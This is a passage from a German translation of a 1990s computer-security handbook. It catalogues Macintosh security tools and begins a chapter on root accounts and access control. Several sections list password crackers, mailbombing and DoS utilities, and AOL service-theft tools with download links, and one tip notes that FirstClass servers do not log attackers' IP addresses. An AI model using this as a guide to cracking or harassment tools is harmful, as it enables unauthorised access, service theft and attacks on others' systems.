bekommen, ist MacRadius genau das Richtige für Sie. Es ist eine ausgefeilte Anwendung, mit der Sie
komplexe Gruppenstrukturen aufbauen können. Damit wird das Hinzufügen neuer Benutzer (und die
automatische Vererbung der Attribute anderer Benutzer an diese neuen) zum Kinderspiel. Und natürlich
ist das Ganze in eine graphische, einfach zu bedienende Oberfläche eingebunden, wie Sie es vom
Macintosh gewohnt sind.
21.3.6 Network Security Guard
MR Mac Software
P.O. Box 910091
San Diego, CA 92191-0091
Tel.: 001-619-481-1263
E-Mail: sales@mrmac.com URL: http://www.mrmac.com/
Haben Sie sich schon immer ein SATAN für MacOS gewünscht? Ein Programm, das Ihre MacOS-Hosts
automatisch nach Sicherheitslücken absucht? Dann müssen Sie sich Network Security Guard besorgen.
Network Security Guard arbeitet mit AppleTalk und prüft folgendes:
Default-Paßwörter
Paßwortfreie Accounts
Gemeinsame Nutzung von Dateien
Dateiberechtigungen
Aber das ist noch nicht alles. Die neueste Version von Network Security Guard hat ein
Gewaltattacken-Utility zum Paßwortknacken, mit dem Sie die Stärke von Netzwerk-Paßwörtern
überprüfen können. Außerdem können Ihre Berichte auf unterschiedliche Weise formatiert und über das
Netzwerk an Sie weitergeleitet werden. Schließlich können Sie noch nach einem Zeitplan
Sicherheitsbewertungen vornehmen lassen. All diese Eigenschaften machen Network Security Guard zu
einer guten Wahl. Sie können sich viele Stunden Arbeit ersparen. (Leider ist es ein kommerzielles
Produkt und keine Shareware. Aber es ist seinen Preis wert.) Eine Demoversion finden Sie unter:
http://mrmac.com/files/Network%20Security%20Guard.sea.bin .
21.3.7 Network Scout 1.0
MR Mac Software
P.O. Box 910091
San Diego, CA 92191-0091
Tel.: 001-619-481-1263
E-Mail: sales@mrmac.com URL: http://www.mrmac.com/
Network Scout ist ein tolles Utility. Einfach ausgedrückt scannt es Ihre Domain und identifiziert auf
Macintosh
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AppleTalk und IP basierende Geräte. Wenn sich Ihre Netzwerktopologie ändert, werden Sie per E-Mail
benachrichtigt. Das Utility unterstützt die automatische Erkennung vieler Geräte, einschließlich Drucker,
Router und sogar bestimmte proprietäre Server (wie FileMaker). Es ist ein wunderbares Tool, um
festzustellen, ob Netzwerkkomponenten außer Betrieb sind. Eine Demoversion finden Sie unter:
http://mrmac.com/files/Network%20Scout%201.0. sea.bin.
21.3.8 Timbuktu Pro 4.0
Netopia, Inc.
2470 Mariner Square Loop
Alameda, California 94501
E-Mail: pfrankl@netopia.com URL: http://www.netopia.com/
Timbuktu Pro 4.0 für MacOS ist eine leistungsfähige und vielseitige Anwendung für die Fernverwaltung
von Systemen. Es ist zwar kein ausdrückliches Sicherheitsprogramm, aber dennoch ein wertvolles Tool
für jeden Webadministrator. Timbuktu Pro unterstützt derzeit TCP/IP, AppleTalk, IPX und Open
Transport. Über diese Protokolle können Sie einen oder mehrere Rechner fernverwalten.
21.4 Interne Sicherheit
21.4.1 Empower von Magna
Magna
1999 S. Bascom, Ste. 700
Campbell, CA 95008
Tel.: 001-408-879-7900
Fax: 001-408-879-7979
E-Mail: mailto:sales@magna1.com URL: http://www.magna1.com/
Empower bietet eine leistungsfähige Zugriffskontrolle für die Macintosh-Plattform. Der Zugriff sowohl
auf Anwendungen als auch auf Verzeichnisse kann mit diesem Tool eingeschränkt werden.
21.4.2 KeysOff und KeysOff Enterprise
Blue Globe Software
P.O. Box 8171
Victoria, British Columbia
V8W 3R8, Canada
E-Mail: cliffmcc@blueglobe.com URL: http://www.blueglobe.com/~cliffmcc/MacSoftware.html
KeysOff ermöglicht Ihnen die Aussperrung bestimmter Schlüssel. So können Sie böswillige Anwender
daran hindern, mit Menüleisten, Mausklicks, dem Ein-/Aus-Schalter und Shortcuts zu hantieren. (Das
Programm hindert unautorisierte Benutzer außerdem daran, Code auf Ihren Rechner zu laden.)
Macintosh
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21.4.3 Password Key
CP3 Software
P.O. Box 4722
Huntsville, AL 35815-4722
E-Mail: carl@cp3.com URL: http://www.cp3.com/
Password Key protokolliert unautorisierte Zugriffsversuche, sperrt Anwendungen und unterbindet
vorübergehend alle Systemoperationen, bis das korrekte Paßwort eingegeben wird.
21.4.4 Secure-It Locks
Secure-It, Inc.
18 Maple Court
East Longmeadow, MA 01028
Tel.: 001-413-525-7039
E-Mail: secure-it@secure-it.com URL: http://secure-it.com/
Secure-It, Inc., stellt Produkte für die physikalische Sicherheit von Macintosh-Rechnern her, unter
anderem Laufwerkschlösser. Diese hindern Bösewichte daran, unautorisierten Code auf Ihren Rechner zu
spielen, wenn Sie nicht an der Konsole sind. (Es gibt sie auch für PowerBooks.)
21.4.5 StartUpLog 2.0.1
StartUpLog von Aurelian Software und Brian Durand ist eine Anwendung zum Ausspionieren. Sie
beginnt direkt nach dem Booten mit der Protokollierung von Zugriffen (und einer Menge anderer Werte).
Dieses Utility ist sehr einfach zu bedienen. Es wird als Control Panel geliefert. Als solches installieren
Sie es einfach, und dann wird es automatisch laufen und die Uhrzeit, Dauer und andere wichtige
Informationen jeden Zugriffs auf Ihren Macintosh protokollieren. Es eignet sich gut für Eltern oder
Arbeitgeber.
Wegweiser:
StartUpLog finden Sie unter ftp://ftp.amug.org/pub/amug/bbs-in-a-box/
files/util/security/startuplog-2.0.1.sit.hqx.
21.4.6 Super Save 2.02
Für den unverbesserlichen Paranoiker zeichnet Super Save jeden einzelnen Tastenanschlag auf, der an
der Konsole eingegeben wird. Der Autor hat allerdings vernünftigerweise daran gedacht, eine Option
einzubauen, mit der Sie dieses Feature abstellen können, wenn Paßwörter eingetippt werden. So kann
man verhindern, daß jemand, der später an Ihre Log- Dateien gelangt, an diese Daten kommen kann.
Obwohl es nicht ausdrücklich für Sicherheitszwecke entwickelt wurde (eher zur Wiederherstellung nach
einem Datenverlust), ist dieses Utility die ultimative Protokollierungslösung.
Wegweiser:
Macintosh
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Super Save finden Sie unter ftp://ftp.amug.org/pub/amug/bbs-in-a-box/
files/recent/supersave-2.02.sit.hqx.
21.4.7 BootLogger
BootLogger ist nicht ganz so extrem wie StartUpLog oder Super Save. Es liest im wesentlichen die
Boot-Sequenz und zeichnet das Starten und Herunterfahren auf. Es verbraucht daher auch weniger
Ressourcen. Ich würde Ihnen deshalb zuerst zu diesem Utility raten. Wenn es Anzeichen dafür geben
sollte, daß Manipulationen oder unautorisierte Zugriffe stattfinden, würde ich zu Super Save übergehen.
Wegweiser:
BootLogger finden Sie unter ftp://ftp.amug.org/pub/amug/bbs-in-a-box/
files/util/security/bootlogger-1.0.sit.hqx.
21.4.8 DiskLocker
DiskLocker ist ein Utility zum Schutz gegen das Beschreiben Ihrer lokalen Festplatte. Die Festplatten
werden dabei mit Hilfe eines Paßwortschutz-Mechanismus verwaltet. (D.h., Sie können die Festplatte nur
verwenden, wenn Sie das Paßwort haben. Ihr Paßwort sollten Sie also besser nicht verlieren.) Das
Programm ist Shareware, geschrieben von Olivier Lebra aus Nizza.
Wegweiser:
DiskLocker erhalten Sie unter ftp://ftp.amug.org/bbs-in-a-box/files/ util/security/disklocker-1.3.sit.hqx.
21.4.9 FileLock
FileLock ist ein bißchen ausgefeilter als DiskLocker. Dieses Utility schützt einzelne Dateien oder
Gruppen von Dateien oder Verzeichnissen. Es unterstützt Drag&Drop und funktioniert sowohl auf
68-Kbyte- als auch PPC-Architekturen. Ein praktisches Utility, besonders wenn Sie zu Hause oder im
Büro Ihren Rechner mit anderen Leuten teilen. Rocco Moliterno (Italien) hat es geschrieben.
Wegweiser:
FileLock finden Sie unter http://hyperarchive.lcs.mit.edu/HyperArchive/ Archive/disk/filelock-132.hqx.
21.4.10 Sesame
Sesame ist auf dem besten Wege, ein Industriestandard zu werden (ähnlich wie MacPassword). Es
ermöglicht einen ausgereiften Paßwortschutz für MacOS. Dabei bietet es verschiedene Ebenen des
Schutzes an. Sie können z.B. ein Administrator-Paßwort erzeugen und eine Ebene darunter die einzelnen
Benutzerpaßwörter. Außerdem schützt Sesame auch vor Angriffen durch Bootdisketten. D.h. alle
Verzeichnisse oder Dateien, die Sie mit diesem Utility schützen, bleiben auch dann noch geschützt, wenn
ein lokaler Benutzer versuchen sollte, diese Sicherheitsvorkehrungen mit einer Bootdiskette zu umgehen.
Dieses Shareware-Produkt wurde von Bernard Frangoulis (Frankreich) geschrieben.
Macintosh
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Wegweiser:
Sesame ist erhältlich unter http://hyperarchive.lcs.mit.edu/HyperArchive/Archive/disk/sesame-211.hqx .
21.4.11 MacPassword
Als der Industriestandard für einen vollständigen Paßwortschutz unter MacOS ist MacPassword eine
ausgereifte, kommerzielle Anwendung. Sie bietet nicht nur mehrere Ebenen des Paßwortschutzes
(sowohl für Laufwerke als auch den Bildschirm), sondern verfügt auch über eine integrierte
Virenprüfung. Diese Anwendung ist definitiv ihr Geld wert. Dennoch können Sie sie erst einmal umsonst
testen. Die Demoversion ist verfügbar unter
ftp.amug.org/pub/amug/bbs-in-a-box/files/util/security/macpassword-4.11- demo.sit.hqx.
21.5 Paßwort-Knacker und verwandte Utilities
Die folgenden Utilities sind beliebte Paßwort-Knacker oder verwandte Utilities für den Macintosh.
Einige sind speziell für den Angriff von Macintosh-Dateien entwickelt worden, andere zum Knacken von
Unix-Paßwortdateien. Dies ist keine vollständige Liste, sondern soll eher ein paar Beispiele für
interessante Tools aufzeigen, die im Internet frei erhältlich sind.
21.5.1 PassFinder
PassFinder ist ein Utility zum Knacken des Administrator-Paßwortes auf FirstClass-Systemen. Das
Programmpaket FirstClass ist ein Gateway-System, das im allgemeinen zur Bereitstellung von Mail,
News und anderen Arten TCP/IP-basierter Kommunikationssysteme verwendet wird. (Sie finden es unter
http://www.softarc.com/.) Es ist ein sehr beliebtes System für die MacOS-Plattform. Da
FirstClass-Server nicht nur in nach außen orientierten Internet-Netzwerken existieren, sondern auch in
Intranets, ist PassFinder ein kritisches Tool. Durch das Knacken des Administrator-Paßworts kann ein
Benutzer die Kontrolle über die ein- und ausgehende elektronische Kommunikation des Systems
ergreifen. (Dies muß allerdings an dem lokalen Rechner passieren. PassFinder ist also kein Utility für
Remote-Angriffe.)
Wegweiser:
PassFinder finden Sie unter http://www.plato-net.or.jp/usr/vladimir/
undergroundmac/Cracking/PassFinder.sit.bin.
Tip:
Offensichtlich bietet FirstClass 2.7 keine Möglichkeit zum Aufzeichnen oder Protokollieren von
IP-Adressen. (Berichten zufolge existiert dieses Sicherheitsloch bei älteren Versionen.) Deshalb kann
eine Attacke auf einen solchen Server recht freimütig angegangen werden.
Macintosh
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21.5.2 FirstClass Thrash!
Dies ist eine interessante Sammlung von Utilities, die hauptsächlich dazu dienen, gegen eine
FirstClass-Mailbox in den Krieg zu ziehen. Sie verfügt über Eigenschaften, die mit Maohell vergleichbar
sind. Darunter sind Mailbombing-Tools, DoS-Tools und andere ausgewählte Scripts, die sich gut dazu
eignen, seine Feinde zu ärgern.
Wegweiser:
FirstClass Thrash! finden Sie unter http://www.i1.net/~xplor216/FCThrash.hqx .
21.5.3 FMProPeeker 1.1
Dieses Utility knackt FileMaker-Pro-Dateien. FileMaker Pro ist eine Datenbanklösung von Claris
(http://www.claris.com). Ursprünglich meist mit der Macintosh-Plattform in Verbindung gebracht, läuft
FileMaker Pro inzwischen auf einer Vielzahl von Systemen. Z.B. ist es für Windows-NT-Netzwerke
verfügbar, auf denen es einen gemeinsamen Datenbankzugriff ermöglicht. Auf jeden Fall untergräbt
FMProPeeker die Sicherheit von FileMaker-Pro- Dateien.
Wegweiser:
FMProPeeker finden Sie unter http://www.plato-net.or.jp/usr/vladimir/
undergroundmac/Cracking/FMproPeeker.sit.bin.
21.5.4 FMP Password Viewer Gold 2.0
FMP Password Viewer Gold 2.0 ist ein weiteres Utility zum Knacken von FileMaker-Pro- Dateien. Es
bietet eine etwas erweiterte Funktionalität (und ist auf jeden Fall neuer) als FMProPeeker 1.1.
Wegweiser:
FMP Password Viewer Gold 2.0 finden Sie unter http://www.plato-
net.or.jp/usr/vladimir/undergroundmac/Cracking/FMP30Viewerv7.sit.bin.
21.5.5 MasterKeyII
MasterKeyII ist ein weiteres Utility zum Knacken von FileMaker-Pro-Dateien.
Wegweiser:
MasterKeyII finden Sie auf der folgenden Site in Japan. http://www.plato-
net.or.jp/usr/vladimir/undergroundmac/Cracking/MasterKeyII.1.0b2. sit.bin.
Macintosh
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21.5.6 Password Killer
Password Killer dient dazu, die meisten Sicherheitsprogramme für PowerBooks zu umgehen.
Wegweiser:
Password Killer (auch PowerBook Password Killer genannt) finden Sie online unter
http://www.plato-net.or.jp/usr/vladimir/undergroundmac/ Cracking/PowerBookPwd%20killer.sit.bin.
21.5.7 Killer Cracker
Killer Cracker ist eine Macintosh-Portierung von Killer Cracker, einem Paßwort-Knacker, der früher nur
auf DOS- und Unix-Rechnern lief. (Eine ausführliche Beschreibung von Killer Cracker finden Sie in
Kapitel 11, »Paßwort-Knacker«. Die Macintosh-Version ist zum Glück als Binary erhältlich, so daß Sie
keinen Compiler benötigen.)
Wegweiser:
Killer Cracker finden Sie unter http://www.plato-net.or.jp/usr/vladimir/
undergroundmac/Cracking/KillerCracker80.sit.bin.
21.5.8 MacKrack
MacKrack ist eine Portierung von Muffets berühmtem Crack 4.1. Es dient zum Knacken von
Unix-Paßwörtern. Es kommt selten zusammen mit Wörterbuch-Dateien, funktioniert aber recht gut.
Dieses Utility macht das Knacken von /etc/passwd-Dateien eines Unix-Systems zum Kinderspiel. (Es
unterstützt sowohl die 68K- als auch die PPC-Plattform.)
Wegweiser:
MacKrack finden Sie unter http://users.net-lynx.com/~dasilva/files/ MacKrack2.01b1.sit.bin.
21.5.9 Remove Passwords
Remove Passwords ist ein raffiniertes Utility, das den Paßwortschutz von Stuffit-Archiven entfernt.
Stuffit ist ein Archivierungs-Tool wie PKZIP oder GZIP. Es wird am häufigsten auf Macintosh-Rechnern
verwendet, wurde inzwischen aber auch auf andere Plattformen portiert, darunter Microsoft Windows.
Sie erhalten Stuffit unter ftp://ptp.aladdinsys.com/. Remove Passwords umgeht den Paßwortschutz jedes
Archivs, das mit Stuffit erzeugt und mit einem Paßwort versehen worden ist.
Wegweiser:
Remove Passwords finden Sie unter http://www.macman.net/k/RemovePasswords.sit .
Macintosh
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21.5.10 RemoveIt
RemoveIt ist fast identisch mit Remove Passwords. Es entfernt die Paßwörter von Stuffit- Archiven.
Wegweiser:
RemoveIt finden Sie unter
http://www.plato-net.or.jp/usr/vladimir/undergroundmac/Cracking/RemoveIt.sit.bin .
21.6 Tools speziell für America Online
Einige der weiter unten aufgeführten Tools sind hauptsächlich dafür vorgesehen, die Sicherheit von
America Online zu untergraben. Die meisten dieser Anwendungen stehlen Dienste von AOL, indem sie
Gratis-Accounts erzeugen, die mehrere Wochen gültig sind. Die Verwendung der meisten dieser Tools
ist illegal.
21.7 Zusammenfassung
Im allgemeinen ist MacOS sicherer als andere Betriebssysteme, und zwar aus folgendem Grund: Die
Hauptaufmerksamkeit in Sachen Sicherheit war in den vergangenen Jahren auf Unix (und neuerdings
NT) gerichtet. Daher wissen Cracker weniger über MacOS als über die anderen Systeme. Speziell im
Hinblick auf Sicherheitslücken, die aus der Ferne angreifbar sind, hat MacOS weit weniger
Schwierigkeiten als Unix oder Windows NT. Allerdings hat MacOS immer noch viele Probleme mit der
internen Sicherheit. Die beste Abhilfe ist, sich immer die neusten Advisories zu besorgen und seine
Benutzer zum richtigen Sicherheitsbewußtsein zu erziehen.
21.8 Informationsquellen
Im folgenden sind einige wichtige Informationsquellen zur Macintosh-Sicherheit aufgeführt, darunter
Bücher, Artikel und Webseiten.
21.8.1 Bücher und Berichte
Getting Your Apple Internet Server Online: A Guide to Providing Internet Services. Alan B.
Oppenheimer von Open Door Networks und Apple. Erhältlich unter
http://product.info.apple.com/productinfo/tech/wp/aisswp.html .
Security Ports on Desktop Macs. Eine Beschreibung der physikalischen Sicherheit auf einem Mac unter
Verwendung verschiedener Portierungen von Sicherheitssoftware und Sperrmechanismen. Artikel-ID:
TECHINFO-0017079; 19960724 15:55:27.00. Sie finden sie unter
http://cgi.info.apple.com/cgi-bin/read.wais.doc.pl?/wais/TIL/Macintosh!Hardware/
Security!Ports!on!Desktop!Macs.
The $10,000 Macintosh World Wide Web Security Challenge: A Summary of the Network and the
Macintosh
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Attacks. Chris Kilbourn, digital.forest. (Formatierung von Jon Wiederspan.) URL:
http://www.forest.net/advanced/securitychallenge.html.
The Mac History Page by United Computer Exchange Corporation. Eine tolle Informationsquelle im
Internet. Wenn Sie sich über ältere Macintosh-Hardware und ihre Konfigurationseinschränkungen
informieren wollen, ist dies die Site für Sie. Interessant besonders für Studenten, die sich einen billigen,
älteren Macintosh zulegen wollen. Sie finden diese Seite unter http://www.uce.com/machist.html.
How Macs Work. John Rizzo und K. Daniel Clark. Ziff-Davis Press. ISBN: 1-56276-146-3.
Voodoo Mac. Kay Yarborough Nelson. Ventana Press. ISBN: 1-56604-028-0.
Sad Macs, Bombs, and Other Disasters. Ted Landau. Addison-Wesley Publishing Company. ISBN:
0-201-62207-6.
The Power Mac Book. Ron Pronk. Coriolis Group Books. ISBN: 1-883577-09-8.
Macworld Mac OS 7.6 Bible. Lon Poole. IDG Books. ISBN: 0-7645-4014-9.
Macworld Mac SECRETS, 4th Edition. David Pogue und Joseph Schorr. IDG Books. ISBN:
0-7645-4006-8.
The Whole Mac Solutions for the Creative Professional. Daniel Giordan, et al. Hayden Books, 1996.
ISBN: 1-56830-298-3.
Guide to Macintosh System 7.5.5. Don Crabb. Hayden Books, 1996. ISBN: 1-56830-109-X.
Building and Maintaining an Intranet with the Macintosh. Tobin Anthony. Hayden Books, 1996. ISBN:
1-56830-279-7.
Using the Internet with Your Mac. Todd Stauffer. QUE, 1995. ISBN: 0-78970-665-2.
Simply Amazing Internet for Macintosh. Adam Engst. Hayden Books, 1995 ISBN: 1-56830- 230-4.
21.8.2 Sites mit Tools
Granite Island Group and Macintosh Security. http://www.tscm.com/mac01.html
Macintosh Security Tools. CIAC. (U.S. Department of Energy.) http://ciac.llnl.gov/
ciac/ToolsMacVirus.html
The Ultimate Hackintosh Linx. Warez, Sicherheit, Cracking, Hacking.
http://krypton.org.chemie.uni-frankfurt.de/~jj/maclinks.html
AoHell Utilities at Aracnet. Hacking- und Cracking-Utilities für America Online. http://
www.aracnet.com/~gen2600/aoh.html
Hacking Mac's Heaven! Hacking- und Cracking-Tools und Links aus den Niederlanden.
http://www.xs4all.nl/~bido/main.html
Lord Reaper's Hacking Page. Hacking- und Cracking-Utilities für MacOS.
Macintosh
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http://www.themacpage.simplenet.com/hacking.html
Vladimir's Archive. Gutes, schnell herunterladbares Archiv einiger grundlegender Hacking- und
Cracking-Tools aus Japan. http://www.plato-net.or.jp/usr/vladimir/undergroundmac/Cracking/
21.8.3 E-Zines und Online-Magazine
MacCentral. Umfassendes und sehr gut präsentiertes Magazin zum Macintosh. http://
www.maccentral.com/
Macworld Daily. Die neuesten und interessantesten Macintosh-News. http://www.macworld.com/daily/
MacSense Online. Gute Quelle für schnelle Informationshappen zum neuesten Stand der
Macintosh-Entwicklungen. http://www.macsense.com/
MacHome Journal Online. Gutes, solides Internet-Magazin zu Macintosh-Themen. http://
www.machome.com/
MacAssistant Tips and Tutorial Newsletter and User Group. Ein toller, sehr nützlicher und vielleicht der
wichtigste Newsletter mit Tips und Tricks für Macintosh-Benutzer. Nicht umsonst, aber meiner Meinung
nach das Geld wert. Eine Menge herkömmlicher Hacking- Tricks zu Hardware-, Software- und
speziellen, recht unbekannten Problemen. 12$ pro Jahr. http://www.macassistant.com/
MacTech. Gut präsentierte und wichtige News aus Industrie und Entwicklung. Hier werden Sie
wahrscheinlich die neuesten Informationen zu Sicherheits-Releases finden. Außerdem einige technische
Informationen (z.B. zur Entwicklung der neuen High-End »SuperMacs«, die Unix-Workstation-Leistung
und sogar Multiprozessor-Unterstützung bieten sollen). http://www.mactech.com/
The Underground Informer. E-Zine, das sich auf die oft eklektische und kreative Mailbox-
Untergrundszene konzentriert. http://www.the-ui.com/
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22
Wer ist verantwortlich?
Ich habe in diesem Buch immer wieder die Begriffe Root und Administrator verwendet. Nun kam mir
der Gedanke, daß der Durchschnittsleser vielleicht gar nicht weiß, was diese Begriffe genau bedeuten.
Deshalb möchte ich sie in diesem kurzen Kapitel näher erläutern.
22.1 Die allgemeine Vorstellung
Die meisten Benutzer arbeiten hauptsächlich an einer einzelnen Workstation. Ihre erste Erfahrung mit
einem Rechner machen sie normalerweise zu Hause oder in der Schule. Selbst wenn der Rechner an ein
Netzwerk angeschlossen wird, denkt der Benutzer vielleicht weiterhin, daß nur dieser Rechner für ihn
relevant ist. D.h., er sieht seinen Rechner als separate Einheit, ohne die Existenz (oder mögliche
Existenz) der anderen Rechner wahrzunehmen.
In der Mehrzahl der Fälle ist das auch richtig. Die meisten Workstations haben eine lokale Festplatte, und
auf dieser Festplatte befindet sich lokale Software, nämlich ein Betriebssystem und verschiedene
Anwendungen. Plattenlose Clients sieht man nur beim harten Kern der Netzwerke oder an Universitäten.
Hinweis:
Ein plattenloser Client ist ein Rechner, der keine lokale Festplatte hat und deswegen auf andere Weise
gebootet werden muß. Eine Möglichkeit ist das Booten mit einer Diskette, von der die erforderlichen
Treiber zur Ansprache der Ethernet-Karte des Rechners geladen werden. Die Netzkarte wird dann mit
einer Broadcast-Anfrage auf dem Netzwerk nach der Identität des Rechners fragen und weitere
Informationen und Programme aus dem Netz bekommen. Das ist z.B. bei Novell-NetWare-Netzwerken
üblich. Dort benutzt man eine Diskette mit dem Ethernet-Treiber, der LAN-Adapter-Software und einer
kleinen Shell. Eine andere Möglichkeit ist, daß die Workstation eine Firmware (oder andere auf einen
Teil der Platine hardcodierte Software) hat, die eine Boot-Sitzung über ein Netzwerk via Ethernet oder
ein anderes Protokoll initiieren kann. Dies ist bei Unix-Netzwerken üblicher; sie verwenden
X-Terminals oder entfernte Boot-Dienste.
Die meisten Benutzer lernen durch ihre Computer zu Hause den Umgang mit Rechnern. Im Gegensatz zu
den Rechnern am Arbeitsplatz, deren Verwendung auf ein einziges Programm beschränkt sein kann und
die vielleicht auf einer veralteten Plattform laufen, haben die Benutzer auf ihren Rechnern zu Hause die
alleinige Kontrolle. Sie können navigieren, Programme ausführen und Dateien löschen, wie es ihnen
Wer ist verantwortlich?
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beliebt (leider oft zu ihrem Schaden). Der durchschnittliche Anwender hat oft wahrscheinlich nur eine
vage Vorstellung davon, wie ein Netzwerk funktioniert. Und es gab - bis jetzt - ja auch noch gar keinen
Grund dafür, sich mit Netzwerken auskennen zu müssen.
In einem Netzwerk muß es eine zentrale Kontrolle über die einzelnen Rechner geben. Nehmen Sie z.B.
die Verwendung von Nameservern. Ein Name-Server hat die Aufgabe, Internet-Adressen von Hostnamen
aufzulösen. Jedes richtige Netzwerk im Internet hat einen solchen Name-Server. Wenn ein Rechner im
Netzwerk die Adresse des Name-Servers nicht kennt, kann dieser Rechner Internet-Hostnamen nicht in
die zugehörigen IP-Adressen auflösen. Die Adresse des Name-Servers muß sich daher irgendwo auf der
Festplatte befinden. Bei Unix-Netzwerken befindet sich diese Information im allgemeinen in der Datei
/etc/ resolv.conf. Auf der Macintosh-Plattform wird sie in den MacTP- oder Open-Transport-
Einstellungen gespeichert (die im allgemeinen über das Kontrollfeld-Menü zugänglich sind). Und auf der
Microsoft-Windows-Plattform wird sie (zumindest für Einwähl- Accounts) in den einzelnen
DFÜ-Netzwerk-Konfigurationen gespeichert. Das geschieht normalerweise über die
TCP/IP-Einstellungen der Verbindung (siehe Abb. 22.1).
Abbildung 22.1: TCP/IP-Einstellungen einer Verbindung: der Name-Server
Die Verwendung eines Name-Servers ist nur ein Beispiel für die Zentralisierung von Informationen,
damit einfacher auf diese zugegriffen werden kann. Archie-Server können dazu verwendet werden, in der
ganzen Welt nach Dateien zu suchen; Sie könnten z.B. nach einer bestimmten Datei suchen und
herausfinden, daß sie nur im Iran existiert. Das Archie-System arbeitet jedoch anders, als Sie vielleicht
denken. Es schwärmt nicht in der ganzen Welt aus und sucht jeden Rechner im Internet nach der
gewünschten Datei ab. Statt dessen teilen die Administratoren von Netzwerken zentralen Archie-Servern
den Inhalt ihrer Festplatten mit. Das ist deshalb sinnvoll, weil es natürlich einfacher ist, eine einzige
Datenbank auf einem Archie-Server zu durchsuchen, als Verbindungen in die ganze Welt zu starten. Mit
Hilfe von ganz einfachen Techniken können Archie-Server und -Gateways auf diese Weise etwas leisten,
was wie ein modernes Wunder aussieht.
Auch ein kleines Netzwerk hat viele zentrale Ressourcen, wie z.B. Datei-Archive, Anwendungen oder
Adreßdatenbanken. Die zentrale Verwaltung dieser Ressourcen sorgt dafür, daß das System reibungslos
und effektiv läuft. Stellen Sie sich z.B. vor, daß jeder im Netzwerk seiner Workstation jede beliebige
Ethernet- oder IP-Adresse zuweisen könnte. Woher sollten die anderen Rechner wissen, welche Adresse
das ist? Das würde eine Menge Verwirrung stiften. In einer solchen Umgebung könnte von verläßlichem
Datenaustausch wohl keine Rede mehr sein.
Moderne Netzwerke werden außerdem mit einem gewissen Grad an Ökonomie entworfen, nicht nur aus
finanzieller Sicht, sondern auch aus praktischen Gründen. Z.B. muß nicht auf jeder Workstation ein
C-Compiler installiert sein, solange es einen gibt, der allen Anwendern zur Verfügung steht. Diese
gemeinsam genutzten Ressourcen können allen Benutzern dienen, müssen aber nur einmal installiert
werden. (Das ist ein bißchen vereinfacht dargestellt; in manchen Fällen reicht ein einziger Interpreter
oder Compiler vielleicht nicht aus.)
Irgendjemand muß die Kontrolle darüber haben, wo, wann und wie solche Ressourcen benutzt werden
Wer ist verantwortlich?
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dürfen. Dieser Irgendjemand ist derjenige, den ich meine, wenn ich die Begriffe Root, Supervisor,
Administrator und Operator verwende. Diese Person (oder eher, dieser Account) funktioniert auf allen
Netzwerk-Betriebssytemen nahezu identisch. Dieser Account darf jede Datei auf der Platte lesen,
schreiben, modifizieren, löschen, erzeugen, auflisten oder sonst etwas mit ihr tun. Der entsprechende
Benutzer hat also sehr viel Macht über das System.
Obwohl diese Macht zur Wartung des Systems natürlich erforderlich ist, kann sie ziemlich gefährlich
werden, wenn sie in unerfahrene Hände gerät. Das ist eine Lektion, die Benutzer schnell lernen müssen,
wenn sie sich entschließen, von Microsoft Windows auf Unix umzusteigen. Zu diesem Zweck kaufen
sich die meisten Benutzer ein Buch über Linux, dem eine CD-ROM beigefügt ist. Sie bewältigen den
Installationsprozeß, loggen sich als root ein und erforschen dann die Festplatte und probieren
unterschiedliche Anwendungen aus. Unweigerlich löschen oder verändern sie wesentliche Bestandteile
des Systems, so daß es nicht mehr zu verwenden ist. Da sie noch nicht genügend Kenntnisse haben, um
das Problem finden und beheben zu können, bleibt ihnen nur die Neuinstallation. Der durchschnittliche
Linux-Neuling macht dies zwei- bis dreimal, bis er es richtig macht. (Es richtig machen bedeutet, nicht
ohne Grund als root auf der Festplatte herumzuwerkeln. Statt dessen sollten Sie einen Benutzer- Account
mit eingeschränkten Privilegien für sich anlegen, bis Sie etwas mehr über das System gelernt haben.
Dieser Benutzer-Account erbt Berechtigungen, die Sie daran hindern werden, wesentliche und
unverzichtbare Netzwerk-Ressourcen zu zerstören).
Da die Netzwerkadministration ein so heikles Thema ist, haben diejenigen, die mit einer solchen
Aufgabe betraut werden, meist langjährige Erfahrung. Die meisten von ihnen können nicht nur das
System effizient warten, sondern auch neue Software programmieren, um die inhärenten Mängel der
Betriebssysteme zu beheben. Als Mindestanforderung muß Root sich damit auskennen, wie man die
Zugriffskontrolle für Dateien und Verzeichnisse richtig verwaltet.
22.2 Über die Zugriffskontrolle
Zugriffskontrolle bezieht sich auf Methoden zur Kontrolle des Benutzerzugriffs auf Dateien,
Verzeichnisse, Ports oder sogar Protokolle. Die modernen Formen der Zugriffskontrolle sind durch
Bemühungen entstanden, sichere Systeme zu schaffen. Das Kriterium zur Messung der Sicherheit eines
Systems beinhaltet naturgemäß die Zugriffskontrolle als einem festen Bestandteil. Die Möglichkeit, den
Zugriff eines bestimmten Benutzers auf eine bestimmte Ressource einschränken zu können, sollte in
jedem Netzwerk-Betriebssystem vorhanden sein. Die meisten vernetzten Systeme haben auch irgendeine
Form der Zugriffskontrolle.
Die meisten Schemata für die Zugriffskontrolle beruhen auf einem System von Privilegien oder
Berechtigungen. Dies können Lese-, Schreib- oder List-Berechtigungen oder sogar noch feiner
abgestufte Berechtigungen sein. Von den Ebenen, denen diese Berechtigungen zugeordnet sind, hängt es
sehr stark ab, ob die Zugriffskontrolle verwendet wird. Einige Arten der Zugriffskontrolle sind so
restriktiv, daß sie dazu führen könnten, daß das Netzwerk nicht effizient funktionieren kann.
Auf jeden Fall entscheidet Root über die meisten dieser Berechtigungen. Einige
Zugriffskontroll-Schemata sind in das System eingebettet. Z.B. ist bei vielen Betriebssystemen Root
bzw. der Netzwerk-Systemadministrator der Eigentümer einer Reihe von Verzeichnissen oder Dateien.
Also kann per Voreinstellung auch nur Root darauf zugreifen. Dies sind meistens Dateien zur
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Systemkonfiguration, die für den Betrieb des Netzwerks eine wesentliche Rolle spielen. In den falschen
Händen könnten diese Dateien zu einem unautorisierten Zugriff und möglicherweise einer Offenlegung
des Netzwerks führen.
Auf einem Unix-Netzwerk können Sie alle Berechtigungen auf einfache Weise einsehen, indem Sie sich
eine Verzeichnisstruktur oder die Dateien innerhalb eines Verzeichnisses auflisten lassen. Ein Beispiel
dafür, wie dies aussieht, finden Sie in Abb. 22.2.
Abbildung 22.2: Verzeichnis-Listing für das Verzeichnis / auf einer Sun-Sparcstation
Abb. 22.2, ein typisches Beispiel eines Listings des Wurzelverzeichnisses eines Unix-Rechners, zeigt
mehrere Spalten mit Informationen über die aufgelistete Datei oder das Verzeichnis. In Abb. 22.3 sind
diese Spalten in Informationskategorien aufgegliedert, die Attribute.
